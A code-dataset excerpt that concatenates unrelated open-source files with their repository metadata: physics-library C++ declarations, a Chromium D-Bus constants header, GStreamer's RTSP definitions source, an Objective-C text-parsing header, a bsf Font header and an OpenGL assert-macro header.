double M2, double beta, double alpha, double m12, double m22, double m32, SM sm); ComplexType CHHbb(double MHL2, double MHH2, double MHA2, double MHp2, double M2, double beta, double alpha, double m12, double m22, double m32, SM sm); ComplexType CHHcc(double MHL2, double MHH2, double MHA2, double MHp2, double M2, double beta, double alpha, double m12, double m22, double m32, SM sm); ComplexType CHHdd(double MHL2, double MHH2, double MHA2, double MHp2, double M2, double beta, double alpha, double m12, double m22, double m32, SM sm); ComplexType CHHee(double MHL2, double MHH2, double MHA2, double MHp2, double M2, double beta, double alpha, double m12, double m22, double m32, SM sm); ComplexType CHHmm(double MHL2, double MHH2, double MHA2, double MHp2, double M2, double beta, double alpha, double m12, double m22, double m32, SM sm); ComplexType CHHss(double MHL2, double MHH2, double MHA2, double MHp2, double M2, double beta, double alpha, double m12, double m22, double m32, SM sm); ComplexType CHHtata(double MHL2, double MHH2, double MHA2, double MHp2, double M2, double beta, double alpha, double m12, double m22, double m32, SM sm); ComplexType CHHtt(double MHL2, double MHH2, double MHA2, double MHp2, double M2, double beta, double alpha, double m12, double m22, double m32, SM sm); ComplexType CHHuu(double MHL2, double MHH2, double MHA2, double MHp2, double M2, double beta, double alpha, double m12, double m22, double m32, SM sm); ComplexType CHLWW_gmunu(double MHL2, double MHH2, double MHA2, double MHp2, double M2, double beta, double alpha, double m12, double m22, double m32, SM sm); ComplexType CHLWW_kmuqnu(double MHL2, double MHH2, double MHA2, double MHp2, double M2, double beta, double alpha, double m12, double m22, double m32, SM sm); ComplexType CHLZZ_gmunu(double MHL2, double MHH2, double MHA2, double MHp2, double M2, double beta, double alpha, double m12, double m22, double m32, SM sm); ComplexType CHLZZ_kmuqnu(double MHL2, double MHH2, double MHA2, double MHp2, double M2, double beta, double alpha, double m12, double m22, double m32, SM sm); ComplexType CHLbb(double MHL2, double MHH2, double MHA2, double MHp2, double M2, double beta, double alpha, double m12, double m22, double m32, SM sm); ComplexType CHLcc(double MHL2, double MHH2, double MHA2, double MHp2, double M2, double beta, double alpha, double m12, double m22, double m32, SM sm); ComplexType CHLdd(double MHL2, double MHH2, double MHA2, double MHp2, double M2, double beta, double alpha, double m12, double m22, double m32, SM sm); ComplexType CHLee(double MHL2, double MHH2, double MHA2, double MHp2, double M2, double beta, double alpha, double m12, double m22, double m32, SM sm); ComplexType CHLmm(double MHL2, double MHH2, double MHA2, double MHp2, double M2, double beta, double alpha, double m12, double m22, double m32, SM sm); ComplexType CHLss(double MHL2, double MHH2, double MHA2, double MHp2, double M2, double beta, double alpha, double m12, double m22, double m32, SM sm); ComplexType CHLtata(double MHL2, double MHH2, double MHA2, double MHp2, double M2, double beta, double alpha, double m12, double m22, double m32, SM sm); ComplexType CHLtt(double MHL2, double MHH2, double MHA2, double MHp2, double M2, double beta, double alpha, double m12, double m22, double m32, SM sm); ComplexType CHLuu(double MHL2, double MHH2, double MHA2, double MHp2, double M2, double beta, double alpha, double m12, double m22, double m32, SM sm); ComplexType CHpHAWp(double MHL2, double MHH2, double MHA2, double MHp2, double M2, double beta, double alpha, double m12, double m22, double m32, SM sm); ComplexType CHpHHWp(double MHL2, double MHH2, double MHA2, double MHp2, double M2, double beta, double alpha, double m12, double m22, double m32, SM sm); ComplexType CHpHLWp(double MHL2, double MHH2, double MHA2, double MHp2, double M2, double beta, double alpha, double m12, double m22, double m32, SM sm); ComplexType CHpWpGa_gmunu(double MHL2, double MHH2, double MHA2, double MHp2, double M2, double beta, double alpha, double m12, double m22, double m32, SM sm); ComplexType CHpWpGa_kmuqnu(double MHL2, double MHH2, double MHA2, double MHp2, double M2, double beta, double alpha, double m12, double m22, double m32, SM sm); ComplexType CHpWpZ_gmunu(double MHL2, double MHH2, double MHA2, double MHp2, double M2, double beta, double alpha, double m12, double m22, double m32, SM sm); ComplexType CHpWpZ_kmuqnu(double MHL2, double MHH2, double MHA2, double MHp2, double M2, double beta, double alpha, double m12, double m22, double m32, SM sm); ComplexType CHpcs_PL(double MHL2, double MHH2, double MHA2, double MHp2, double M2, double beta, double alpha, double m12, double m22, double m32, SM sm); ComplexType CHpcs_PR(double MHL2, double MHH2, double MHA2, double MHp2, double M2, double beta, double alpha, double m12, double m22, double m32, SM sm); ComplexType CHpelev_PL(double MHL2, double MHH2, double MHA2, double MHp2, double M2, double beta, double alpha, double m12, double m22, double m32, SM sm); ComplexType CHpelev_PR(double MHL2, double MHH2, double MHA2, double MHp2, double M2, double beta, double alpha, double m12, double m22, double m32, SM sm); ComplexType CHpmuonv_PL(double MHL2, double MHH2, double MHA2, double MHp2, double M2, double beta, double alpha, double m12, double m22, double m32, SM sm); ComplexType CHpmuonv_PR(double MHL2, double MHH2, double MHA2, double MHp2, double M2, double beta, double alpha, double m12, double m22, double m32, SM sm); ComplexType CHptauv_PL(double MHL2, double MHH2, double MHA2, double MHp2, double M2, double beta, double alpha, double m12, double m22, double m32, SM sm); ComplexType CHptauv_PR(double MHL2, double MHH2, double MHA2, double MHp2, double M2, double beta, double alpha, double m12, double m22, double m32, SM sm); ComplexType CHptb_PL(double MHL2, double MHH2, double MHA2, double MHp2, double M2, double beta, double alpha, double m12, double m22, double m32, SM sm); ComplexType CHptb_PR(double MHL2, double MHH2, double MHA2, double MHp2, double M2, double beta, double alpha, double m12, double m22, double m32, SM sm); ComplexType CHpud_PL(double MHL2, double MHH2, double MHA2, double MHp2, double M2, double beta, double alpha, double m12, double m22, double m32, SM sm); ComplexType CHpud_PR(double MHL2, double MHH2, double MHA2, double MHp2, double M2, double beta, double alpha, double m12, double m22, double m32, SM sm); } //end namespace TypeFL #endif
73.625
160
0.762686
2fdc94fce87235a99971fbe7a884fdd0682e06d3
694
h
C
iioservice/include/dbus-constants.h
Toromino/chromiumos-platform2
97e6ba18f0e5ab6723f3448a66f82c1a07538d87
[ "BSD-3-Clause" ]
null
null
null
iioservice/include/dbus-constants.h
Toromino/chromiumos-platform2
97e6ba18f0e5ab6723f3448a66f82c1a07538d87
[ "BSD-3-Clause" ]
null
null
null
iioservice/include/dbus-constants.h
Toromino/chromiumos-platform2
97e6ba18f0e5ab6723f3448a66f82c1a07538d87
[ "BSD-3-Clause" ]
null
null
null
// Copyright 2021 The Chromium OS Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #ifndef IIOSERVICE_INCLUDE_DBUS_CONSTANTS_H_ #define IIOSERVICE_INCLUDE_DBUS_CONSTANTS_H_ namespace iioservice { constexpr char kIioserviceServiceName[] = "org.chromium.Iioservice"; constexpr char kIioserviceServicePath[] = "/org/chromium/Iioservice"; constexpr char kIioserviceInterface[] = "org.chromium.Iioservice"; // Methods constexpr char kMemsSetupDoneMethod[] = "MemsSetupDone"; constexpr char kMemsRemoveDoneMethod[] = "MemsRemoveDone"; } // namespace iioservice #endif // IIOSERVICE_INCLUDE_DBUS_CONSTANTS_H_
34.7
73
0.802594
2fdc9c95d6488346324b6da51adb46e5365305d1
14,855
c
C
gst-plugins-base-1.2.4/gst-libs/gst/rtsp/gstrtspdefs.c
Malk123/Robby
1af36a34b40f6a0f2ba80067e0b364d83d5b4630
[ "MIT" ]
null
null
null
gst-plugins-base-1.2.4/gst-libs/gst/rtsp/gstrtspdefs.c
Malk123/Robby
1af36a34b40f6a0f2ba80067e0b364d83d5b4630
[ "MIT" ]
null
null
null
gst-plugins-base-1.2.4/gst-libs/gst/rtsp/gstrtspdefs.c
Malk123/Robby
1af36a34b40f6a0f2ba80067e0b364d83d5b4630
[ "MIT" ]
null
null
null
/* GStreamer * Copyright (C) <2005,2006> Wim Taymans <wim@fluendo.com> * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Library General Public * License as published by the Free Software Foundation; either * version 2 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Library General Public License for more details. * * You should have received a copy of the GNU Library General Public * License along with this library; if not, write to the * Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, * Boston, MA 02110-1301, USA. */ /* * Unless otherwise indicated, Source Code is licensed under MIT license. * See further explanation attached in License Statement (distributed in the file * LICENSE). * * Permission is hereby granted, free of charge, to any person obtaining a copy of * this software and associated documentation files (the "Software"), to deal in * the Software without restriction, including without limitation the rights to * use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies * of the Software, and to permit persons to whom the Software is furnished to do * so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. */ /** * SECTION:gstrtspdefs * @short_description: common RTSP defines * @see_also: gstrtspurl, gstrtspconnection * * Provides common defines for the RTSP library. * * Last reviewed on 2007-07-24 (0.10.14) */ #include <errno.h> #include "gstrtspdefs.h" struct rtsp_header { const gchar *name; gboolean multiple; }; static const gchar *rtsp_methods[] = { "DESCRIBE", "ANNOUNCE", "GET_PARAMETER", "OPTIONS", "PAUSE", "PLAY", "RECORD", "REDIRECT", "SETUP", "SET_PARAMETER", "TEARDOWN", "GET", "POST", NULL }; static struct rtsp_header rtsp_headers[] = { {"Accept", TRUE}, {"Accept-Encoding", TRUE}, {"Accept-Language", TRUE}, {"Allow", TRUE}, {"Authorization", FALSE}, {"Bandwidth", FALSE}, {"Blocksize", FALSE}, {"Cache-Control", TRUE}, {"Conference", FALSE}, {"Connection", TRUE}, {"Content-Base", FALSE}, {"Content-Encoding", TRUE}, {"Content-Language", TRUE}, {"Content-Length", FALSE}, {"Content-Location", FALSE}, {"Content-Type", FALSE}, {"CSeq", FALSE}, {"Date", FALSE}, {"Expires", FALSE}, {"From", FALSE}, {"If-Modified-Since", FALSE}, {"Last-Modified", FALSE}, {"Proxy-Authenticate", TRUE}, {"Proxy-Require", TRUE}, {"Public", TRUE}, {"Range", FALSE}, {"Referer", FALSE}, {"Require", TRUE}, {"Retry-After", FALSE}, {"RTP-Info", TRUE}, {"Scale", FALSE}, {"Session", FALSE}, {"Server", FALSE}, {"Speed", FALSE}, {"Transport", TRUE}, {"Unsupported", FALSE}, {"User-Agent", FALSE}, {"Via", TRUE}, {"WWW-Authenticate", TRUE}, /* Real extensions */ {"ClientChallenge", FALSE}, {"RealChallenge1", FALSE}, {"RealChallenge2", FALSE}, {"RealChallenge3", FALSE}, {"Subscribe", FALSE}, {"Alert", FALSE}, {"ClientID", FALSE}, {"CompanyID", FALSE}, {"GUID", FALSE}, {"RegionData", FALSE}, {"SupportsMaximumASMBandwidth", FALSE}, {"Language", FALSE}, {"PlayerStarttime", FALSE}, /* Since 0.10.16 */ {"Location", FALSE}, /* Since 0.10.23 */ {"ETag", FALSE}, {"If-Match", TRUE}, /* WM extensions [MS-RTSP] Since 0.10.23 */ {"Accept-Charset", TRUE}, {"Supported", TRUE}, {"Vary", TRUE}, {"X-Accelerate-Streaming", FALSE}, {"X-Accept-Authentication", FALSE}, {"X-Accept-Proxy-Authentication", FALSE}, {"X-Broadcast-Id", FALSE}, {"X-Burst-Streaming", FALSE}, {"X-Notice", FALSE}, {"X-Player-Lag-Time", FALSE}, {"X-Playlist", FALSE}, {"X-Playlist-Change-Notice", FALSE}, {"X-Playlist-Gen-Id", FALSE}, {"X-Playlist-Seek-Id", FALSE}, {"X-Proxy-Client-Agent", FALSE}, {"X-Proxy-Client-Verb", FALSE}, {"X-Receding-PlaylistChange", FALSE}, {"X-RTP-Info", FALSE}, {"X-StartupProfile", FALSE}, /* Since 0.10.24 */ {"Timestamp", FALSE}, /* Since 0.10.25 */ {"Authentication-Info", FALSE}, {"Host", FALSE}, {"Pragma", TRUE}, {"X-Server-IP-Address", FALSE}, {"X-Sessioncookie", FALSE}, /* Since 0.10.36 */ {"RTCP-Interval", FALSE}, {NULL, FALSE} }; #define DEF_STATUS(c, t) \ g_hash_table_insert (statuses, GUINT_TO_POINTER(c), (gpointer) t) static GHashTable * rtsp_init_status (void) { GHashTable *statuses = g_hash_table_new (NULL, NULL); DEF_STATUS (GST_RTSP_STS_CONTINUE, "Continue"); DEF_STATUS (GST_RTSP_STS_OK, "OK"); DEF_STATUS (GST_RTSP_STS_CREATED, "Created"); DEF_STATUS (GST_RTSP_STS_LOW_ON_STORAGE, "Low on Storage Space"); DEF_STATUS (GST_RTSP_STS_MULTIPLE_CHOICES, "Multiple Choices"); DEF_STATUS (GST_RTSP_STS_MOVED_PERMANENTLY, "Moved Permanently"); DEF_STATUS (GST_RTSP_STS_MOVE_TEMPORARILY, "Move Temporarily"); DEF_STATUS (GST_RTSP_STS_SEE_OTHER, "See Other"); DEF_STATUS (GST_RTSP_STS_NOT_MODIFIED, "Not Modified"); DEF_STATUS (GST_RTSP_STS_USE_PROXY, "Use Proxy"); DEF_STATUS (GST_RTSP_STS_BAD_REQUEST, "Bad Request"); DEF_STATUS (GST_RTSP_STS_UNAUTHORIZED, "Unauthorized"); DEF_STATUS (GST_RTSP_STS_PAYMENT_REQUIRED, "Payment Required"); DEF_STATUS (GST_RTSP_STS_FORBIDDEN, "Forbidden"); DEF_STATUS (GST_RTSP_STS_NOT_FOUND, "Not Found"); DEF_STATUS (GST_RTSP_STS_METHOD_NOT_ALLOWED, "Method Not Allowed"); DEF_STATUS (GST_RTSP_STS_NOT_ACCEPTABLE, "Not Acceptable"); DEF_STATUS (GST_RTSP_STS_PROXY_AUTH_REQUIRED, "Proxy Authentication Required"); DEF_STATUS (GST_RTSP_STS_REQUEST_TIMEOUT, "Request Time-out"); DEF_STATUS (GST_RTSP_STS_GONE, "Gone"); DEF_STATUS (GST_RTSP_STS_LENGTH_REQUIRED, "Length Required"); DEF_STATUS (GST_RTSP_STS_PRECONDITION_FAILED, "Precondition Failed"); DEF_STATUS (GST_RTSP_STS_REQUEST_ENTITY_TOO_LARGE, "Request Entity Too Large"); DEF_STATUS (GST_RTSP_STS_REQUEST_URI_TOO_LARGE, "Request-URI Too Large"); DEF_STATUS (GST_RTSP_STS_UNSUPPORTED_MEDIA_TYPE, "Unsupported Media Type"); DEF_STATUS (GST_RTSP_STS_PARAMETER_NOT_UNDERSTOOD, "Parameter Not Understood"); DEF_STATUS (GST_RTSP_STS_CONFERENCE_NOT_FOUND, "Conference Not Found"); DEF_STATUS (GST_RTSP_STS_NOT_ENOUGH_BANDWIDTH, "Not Enough Bandwidth"); DEF_STATUS (GST_RTSP_STS_SESSION_NOT_FOUND, "Session Not Found"); DEF_STATUS (GST_RTSP_STS_METHOD_NOT_VALID_IN_THIS_STATE, "Method Not Valid in This State"); DEF_STATUS (GST_RTSP_STS_HEADER_FIELD_NOT_VALID_FOR_RESOURCE, "Header Field Not Valid for Resource"); DEF_STATUS (GST_RTSP_STS_INVALID_RANGE, "Invalid Range"); DEF_STATUS (GST_RTSP_STS_PARAMETER_IS_READONLY, "Parameter Is Read-Only"); DEF_STATUS (GST_RTSP_STS_AGGREGATE_OPERATION_NOT_ALLOWED, "Aggregate operation not allowed"); DEF_STATUS (GST_RTSP_STS_ONLY_AGGREGATE_OPERATION_ALLOWED, "Only aggregate operation allowed"); DEF_STATUS (GST_RTSP_STS_UNSUPPORTED_TRANSPORT, "Unsupported transport"); DEF_STATUS (GST_RTSP_STS_DESTINATION_UNREACHABLE, "Destination unreachable"); DEF_STATUS (GST_RTSP_STS_INTERNAL_SERVER_ERROR, "Internal Server Error"); DEF_STATUS (GST_RTSP_STS_NOT_IMPLEMENTED, "Not Implemented"); DEF_STATUS (GST_RTSP_STS_BAD_GATEWAY, "Bad Gateway"); DEF_STATUS (GST_RTSP_STS_SERVICE_UNAVAILABLE, "Service Unavailable"); DEF_STATUS (GST_RTSP_STS_GATEWAY_TIMEOUT, "Gateway Time-out"); DEF_STATUS (GST_RTSP_STS_RTSP_VERSION_NOT_SUPPORTED, "RTSP Version not supported"); DEF_STATUS (GST_RTSP_STS_OPTION_NOT_SUPPORTED, "Option not supported"); return statuses; } /** * gst_rtsp_strresult: * @result: a #GstRTSPResult * * Convert @result in a human readable string. * * Returns: a newly allocated string. g_free() after usage. */ gchar * gst_rtsp_strresult (GstRTSPResult result) { switch (result) { case GST_RTSP_OK: return g_strdup ("OK"); case GST_RTSP_ESYS: return g_strdup ("System error"); case GST_RTSP_ENET: return g_strdup ("Network error"); case GST_RTSP_ERROR: return g_strdup ("Generic error"); case GST_RTSP_EINVAL: return g_strdup ("Invalid parameter specified"); case GST_RTSP_EINTR: return g_strdup ("Operation interrupted"); case GST_RTSP_ENOMEM: return g_strdup ("Out of memory"); case GST_RTSP_ERESOLV: return g_strdup ("Cannot resolve host"); case GST_RTSP_ENOTIMPL: return g_strdup ("Function not implemented"); case GST_RTSP_EPARSE: return g_strdup ("Parse error"); case GST_RTSP_EWSASTART: return g_strdup ("Error on WSAStartup"); case GST_RTSP_EWSAVERSION: return g_strdup ("Windows sockets are not version 0x202"); case GST_RTSP_EEOF: return g_strdup ("Received end-of-file"); case GST_RTSP_ENOTIP: return g_strdup ("Host is not a valid IP address"); case GST_RTSP_ETIMEOUT: return g_strdup ("Timeout while waiting for server response"); case GST_RTSP_ETGET: return g_strdup ("Tunnel GET request received"); case GST_RTSP_ETPOST: return g_strdup ("Tunnel POST request received"); case GST_RTSP_ELAST: default: return g_strdup_printf ("Unknown error (%d)", result); } } /** * gst_rtsp_method_as_text: * @method: a #GstRTSPMethod * * Convert @method to a string. * * Returns: a string representation of @method. */ const gchar * gst_rtsp_method_as_text (GstRTSPMethod method) { gint i; if (method == GST_RTSP_INVALID) return NULL; i = 0; while ((method & 1) == 0) { i++; method >>= 1; } return rtsp_methods[i]; } /** * gst_rtsp_version_as_text: * @version: a #GstRTSPVersion * * Convert @version to a string. * * Returns: a string representation of @version. */ const gchar * gst_rtsp_version_as_text (GstRTSPVersion version) { switch (version) { case GST_RTSP_VERSION_1_0: return "1.0"; case GST_RTSP_VERSION_1_1: return "1.1"; default: return "0.0"; } } /** * gst_rtsp_header_as_text: * @field: a #GstRTSPHeaderField * * Convert @field to a string. * * Returns: a string representation of @field. */ const gchar * gst_rtsp_header_as_text (GstRTSPHeaderField field) { if (field == GST_RTSP_HDR_INVALID) return NULL; else return rtsp_headers[field - 1].name; } /** * gst_rtsp_status_as_text: * @code: a #GstRTSPStatusCode * * Convert @code to a string. * * Returns: a string representation of @code. */ const gchar * gst_rtsp_status_as_text (GstRTSPStatusCode code) { static GHashTable *statuses; if (G_UNLIKELY (statuses == NULL)) statuses = rtsp_init_status (); return g_hash_table_lookup (statuses, GUINT_TO_POINTER (code)); } /** * gst_rtsp_find_header_field: * @header: a header string * * Convert @header to a #GstRTSPHeaderField. * * Returns: a #GstRTSPHeaderField for @header or #GST_RTSP_HDR_INVALID if the * header field is unknown. */ GstRTSPHeaderField gst_rtsp_find_header_field (const gchar * header) { gint idx; for (idx = 0; rtsp_headers[idx].name; idx++) { if (g_ascii_strcasecmp (rtsp_headers[idx].name, header) == 0) { return idx + 1; } } return GST_RTSP_HDR_INVALID; } /** * gst_rtsp_find_method: * @method: a method * * Convert @method to a #GstRTSPMethod. * * Returns: a #GstRTSPMethod for @method or #GST_RTSP_INVALID if the * method is unknown. */ GstRTSPMethod gst_rtsp_find_method (const gchar * method) { gint idx; for (idx = 0; rtsp_methods[idx]; idx++) { if (g_ascii_strcasecmp (rtsp_methods[idx], method) == 0) { return (1 << idx); } } return GST_RTSP_INVALID; } /** * gst_rtsp_options_as_text: * @options: one or more #GstRTSPMethod * * Convert @options to a string. * * Returns: a new string of @options. g_free() after usage. */ gchar * gst_rtsp_options_as_text (GstRTSPMethod options) { GString *str; str = g_string_new (""); if (options & GST_RTSP_OPTIONS) g_string_append (str, "OPTIONS, "); if (options & GST_RTSP_DESCRIBE) g_string_append (str, "DESCRIBE, "); if (options & GST_RTSP_ANNOUNCE) g_string_append (str, "ANNOUNCE, "); if (options & GST_RTSP_GET_PARAMETER) g_string_append (str, "GET_PARAMETER, "); if (options & GST_RTSP_PAUSE) g_string_append (str, "PAUSE, "); if (options & GST_RTSP_PLAY) g_string_append (str, "PLAY, "); if (options & GST_RTSP_RECORD) g_string_append (str, "RECORD, "); if (options & GST_RTSP_REDIRECT) g_string_append (str, "REDIRECT, "); if (options & GST_RTSP_SETUP) g_string_append (str, "SETUP, "); if (options & GST_RTSP_SET_PARAMETER) g_string_append (str, "SET_PARAMETER, "); if (options & GST_RTSP_TEARDOWN) g_string_append (str, "TEARDOWN, "); /* remove trailing ", " if there is one */ if (str->len > 2) str = g_string_truncate (str, str->len - 2); return g_string_free (str, FALSE); } /** * gst_rtsp_options_from_text: * @options: a comma separated list of options * * Convert the comma separated list @options to a #GstRTSPMethod bitwise or * of methods. This functions is the reverse of gst_rtsp_options_as_text(). * * Returns: a #GstRTSPMethod * * Since: 1.1.1 */ GstRTSPMethod gst_rtsp_options_from_text (const gchar * options) { GstRTSPMethod methods; gchar **ostr; gint i; /* The string is like: * OPTIONS, DESCRIBE, ANNOUNCE, PLAY, SETUP, ... */ ostr = g_strsplit (options, ",", 0); methods = 0; for (i = 0; ostr[i]; i++) { gchar *stripped; GstRTSPMethod method; stripped = g_strstrip (ostr[i]); method = gst_rtsp_find_method (stripped); /* keep bitfield of supported methods */ if (method != GST_RTSP_INVALID) methods |= method; } g_strfreev (ostr); return methods; } /** * gst_rtsp_header_allow_multiple: * @field: a #GstRTSPHeaderField * * Check whether @field may appear multiple times in a message. * * Returns: %TRUE if multiple headers are allowed. */ gboolean gst_rtsp_header_allow_multiple (GstRTSPHeaderField field) { if (field == GST_RTSP_HDR_INVALID) return FALSE; else return rtsp_headers[field - 1].multiple; }
28.349237
82
0.699899
2fdd5f3018d7723d70705f15709dbdf638fdc892
557
h
C
FriedText/NSMutableAttributedString+CocoaExtensions.h
luckymarmot/FriedText
7ed7761cb75671cac5f5a5d7edaa134d8052532a
[ "MIT" ]
25
2015-01-03T20:52:53.000Z
2021-04-12T10:59:55.000Z
FriedText/NSMutableAttributedString+CocoaExtensions.h
uchuugaka/FriedText
7ed7761cb75671cac5f5a5d7edaa134d8052532a
[ "MIT" ]
null
null
null
FriedText/NSMutableAttributedString+CocoaExtensions.h
uchuugaka/FriedText
7ed7761cb75671cac5f5a5d7edaa134d8052532a
[ "MIT" ]
7
2015-03-24T11:56:11.000Z
2017-09-18T08:17:10.000Z
// // NSMutableAttributedString+CocoaExtensions.h // LMTextView // // Created by Micha Mazaheri on 4/14/13. // Copyright (c) 2013 Lucky Marmot. All rights reserved. // #import <Foundation/Foundation.h> #import "LMTextParser.h" @interface NSMutableAttributedString (CocoaExtensions) - (void)removeAllAttributesExcept:(NSArray*)exceptions; - (void)highlightSyntaxWithParser:(id<LMTextParser>)parser defaultAttributes:(NSDictionary*)defaultAttributes attributesBlock:(NSDictionary*(^)(NSUInteger parserTokenMask, NSRange range))attributesBlock; @end
27.85
203
0.789946
2fde98b79d9c12cdfbb1b3a107c632290c3226a9
4,023
h
C
Source/Foundation/bsfCore/Text/BsFont.h
Milerius/bsf
8715b344d6b7893f64fd5dccaaf10603a27c7a15
[ "MIT" ]
3
2020-04-14T06:23:18.000Z
2020-06-02T11:07:08.000Z
Source/Foundation/bsfCore/Text/BsFont.h
cwmagnus/bsf
c735aead580e86e69ef228f3b8d99b474b72f2c7
[ "MIT" ]
null
null
null
Source/Foundation/bsfCore/Text/BsFont.h
cwmagnus/bsf
c735aead580e86e69ef228f3b8d99b474b72f2c7
[ "MIT" ]
null
null
null
//************************************ bs::framework - Copyright 2018 Marko Pintera **************************************// //*********** Licensed under the MIT license. See LICENSE.md for full terms. This notice is not to be removed. ***********// #pragma once #include "BsCorePrerequisites.h" #include "Resources/BsResource.h" #include "Text/BsFontDesc.h" namespace bs { /** @addtogroup Text * @{ */ /** Contains textures and data about every character for a bitmap font of a specific size. */ struct BS_CORE_EXPORT BS_SCRIPT_EXPORT(m:GUI_Engine) FontBitmap : public IReflectable { /** Returns a character description for the character with the specified Unicode key. */ BS_SCRIPT_EXPORT() const CharDesc& getCharDesc(UINT32 charId) const; /** Font size for which the data is contained. */ BS_SCRIPT_EXPORT() UINT32 size; /** Y offset to the baseline on which the characters are placed, in pixels. */ BS_SCRIPT_EXPORT() INT32 baselineOffset; /** Height of a single line of the font, in pixels. */ BS_SCRIPT_EXPORT() UINT32 lineHeight; /** Character to use when data for a character is missing. */ BS_SCRIPT_EXPORT() CharDesc missingGlyph; /** Width of a space in pixels. */ BS_SCRIPT_EXPORT() UINT32 spaceWidth; /** Textures in which the character's pixels are stored. */ BS_SCRIPT_EXPORT() Vector<HTexture> texturePages; /** All characters in the font referenced by character ID. */ Map<UINT32, CharDesc> characters; /************************************************************************/ /* SERIALIZATION */ /************************************************************************/ public: friend class FontBitmapRTTI; static RTTITypeBase* getRTTIStatic(); RTTITypeBase* getRTTI() const override; }; /** * Font resource containing data about textual characters and how to render text. Contains one or multiple font * bitmaps, each for a specific size. */ class BS_CORE_EXPORT BS_SCRIPT_EXPORT(m:GUI_Engine) Font : public Resource { public: virtual ~Font(); /** * Returns font bitmap for a specific font size. * * @param[in] size Size of the bitmap in points. * @return Bitmap object if it exists, false otherwise. */ BS_SCRIPT_EXPORT() SPtr<FontBitmap> getBitmap(UINT32 size) const; /** * Finds the available font bitmap size closest to the provided size. * * @param[in] size Size of the bitmap in points. * @return Nearest available bitmap size. */ BS_SCRIPT_EXPORT() INT32 getClosestSize(UINT32 size) const; /** Creates a new font from the provided per-size font data. */ static HFont create(const Vector<SPtr<FontBitmap>>& fontInitData); public: // ***** INTERNAL ****** using Resource::initialize; /** @name Internal * @{ */ /** * Initializes the font with specified per-size font data. * * @note Internal method. Factory methods will call this automatically for you. */ void initialize(const Vector<SPtr<FontBitmap>>& fontData); /** Creates a new font as a pointer instead of a resource handle. */ static SPtr<Font> _createPtr(const Vector<SPtr<FontBitmap>>& fontInitData); /** Creates a Font without initializing it. */ static SPtr<Font> _createEmpty(); /** @} */ protected: friend class FontManager; Font(); /** @copydoc Resource::getResourceDependencies */ void getResourceDependencies(FrameVector<HResource>& dependencies) const override; /** @copydoc CoreObject::getCoreDependencies */ void getCoreDependencies(Vector<CoreObject*>& dependencies) override; private: Map<UINT32, SPtr<FontBitmap>> mFontDataPerSize; /************************************************************************/ /* SERIALIZATION */ /************************************************************************/ public: friend class FontRTTI; static RTTITypeBase* getRTTIStatic(); RTTITypeBase* getRTTI() const override; }; /** @} */ }
30.022388
124
0.623664
2fe08fd995032f96c29f4a8221d47b5f6f218480
863
h
C
LearnOpenGL/LearnOpenGL/src/engine/Core.h
babaliaris/LearnOpenGL
6616fb1a26e30148a3b97d7d0da675d5cd10b826
[ "MIT" ]
null
null
null
LearnOpenGL/LearnOpenGL/src/engine/Core.h
babaliaris/LearnOpenGL
6616fb1a26e30148a3b97d7d0da675d5cd10b826
[ "MIT" ]
null
null
null
LearnOpenGL/LearnOpenGL/src/engine/Core.h
babaliaris/LearnOpenGL
6616fb1a26e30148a3b97d7d0da675d5cd10b826
[ "MIT" ]
null
null
null
#ifndef ENGINE_CORE_H #define ENGINE_CORE_H #include "Logger.h" #define ASSERT_FORMAT(x, formatter, ...)\ {\ if (!(x))\ {\ std::stringstream ss;\ ss << "Assertion Failed: {0}\n\t\t\t\t\t In File: {1}\n\t\t\t\t\t At Line: {2}\n\t\t\t\t\t Message: " << formatter;\ LOG_ERROR(ss.str(), #x, __FILE__, __LINE__, __VA_ARGS__);\ abort();\ }\ } #define ASSERT(x, msg)\ {\ if (!(x))\ {\ std::stringstream ss;\ ss << "Assertion Failed: {0}\n\t\t\t\t\t In File: {1}\n\t\t\t\t\t At Line: {2}\n\t\t\t\t\t Message: {3}";\ LOG_ERROR(ss.str(), #x, __FILE__, __LINE__, msg);\ abort();\ }\ } //Visual Studio. #ifdef _MSC_BUILD #define RUNTIME_DIR "LearnOpenGL/LearnOpenGL/" //Other Environments. #else #define RUNTIME_DIR "LearnOpenGL/LearnOpenGL/" #endif #endif
20.547619
130
0.559676
2fe0e49bb8b945d05a8cbac6c4a73c20a576f897
32,125
c
C
slprj/_sfprj/AtomicGloveBradImitateSmile/_self/sfun/src/c8_AtomicGloveBradImitateSmile.c
maryamsab/realact
90fbf3fcb4696353c8a14d76797e5908126a9525
[ "BSD-3-Clause" ]
1
2020-12-02T21:41:36.000Z
2020-12-02T21:41:36.000Z
slprj/_sfprj/AtomicGloveBradImitateSmile/_self/sfun/src/c8_AtomicGloveBradImitateSmile.c
maryamsab/realact
90fbf3fcb4696353c8a14d76797e5908126a9525
[ "BSD-3-Clause" ]
null
null
null
slprj/_sfprj/AtomicGloveBradImitateSmile/_self/sfun/src/c8_AtomicGloveBradImitateSmile.c
maryamsab/realact
90fbf3fcb4696353c8a14d76797e5908126a9525
[ "BSD-3-Clause" ]
1
2018-06-23T11:59:06.000Z
2018-06-23T11:59:06.000Z
